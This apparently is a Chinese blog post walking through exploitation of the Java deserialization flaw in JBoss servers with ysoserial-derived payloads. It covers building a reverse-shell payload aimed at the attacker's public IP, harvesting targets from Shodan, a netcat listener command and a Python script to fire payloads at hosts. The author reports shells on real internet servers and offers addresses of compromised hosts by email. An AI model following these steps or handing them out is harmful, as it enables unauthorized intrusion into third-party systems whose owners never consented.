这两天很火的java反序列化漏洞,看到乌云大牛已经开始刷分,于是找来实践一波
exp来源
ysoserial
其中weblogic和jenkins提供python脚本,但需自己加载payload. 而对于jboss和websphere则提供了poc的数据包.
foxlovesec
iswin
http://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/ - 随风师傅分析漏洞原理,并基于foxglovesec提供的payload生成脚本,给出基于两种不同方法的改进版exp和poc,exp里调用了随风师傅的java版反弹shell方法,它的好处是不依赖操作系统环境,兼容win和linux,使反弹shell成功率和稳定性更高.
随后,随风师傅在zone.wooyun发帖教学exp的使用,并积极指点新手白帽子进行实践. http://zone.wooyun.org/content/23905
实践
资源打包
Java_payload 随风师傅给出的改良版exp和foxlove的项目代码
jbossexp.py 一个利用脚本,用于发包
kiss10500.bin/kiss10501.bin 我测试时生成的两个payload
shodan_data.xml 从shodan拿了一些JBOSS服务的主机IP
shodan_data.xml_sorted 整理后的url,用于批量poc
payload生成
用eclipse打开Java_payload项目,按如下路径找到main.java
代码很清晰,找到ip和端口的地方,填入自己机器上用于接受反弹shell的**公网**ip和port.然后下面的路径是生成payload的保存地址.
运行main.java不报错即可
到指定路径检查payload文件是否已经生成
确定目标
在shodan_data.xml列表里找几个网站,放到sebug的照妖镜里测试一下是否存在漏洞.
反弹shell
首先打开自己在公网接收shell的主机 使用以下命令监听端口,等待连接 nc -lv 10501
然后开启另一个命令行,使用python的发包脚本向目标机发送payload. 命令格式python jbossexp.py [url] [port] [payload]
随后公网主机会接收到反弹的shell,如下图.
注意
并不是所有sebug验证出漏洞的地址都能顺利反弹shell,经个人测试,成功率在50%-60%左右,请多加尝试! 可以邮箱联系我索取已经验证成功并拿到shell的地址.
参考
天上繁b,乃前辈所装,虽历历在目,仍不可尽数.向大牛们学习!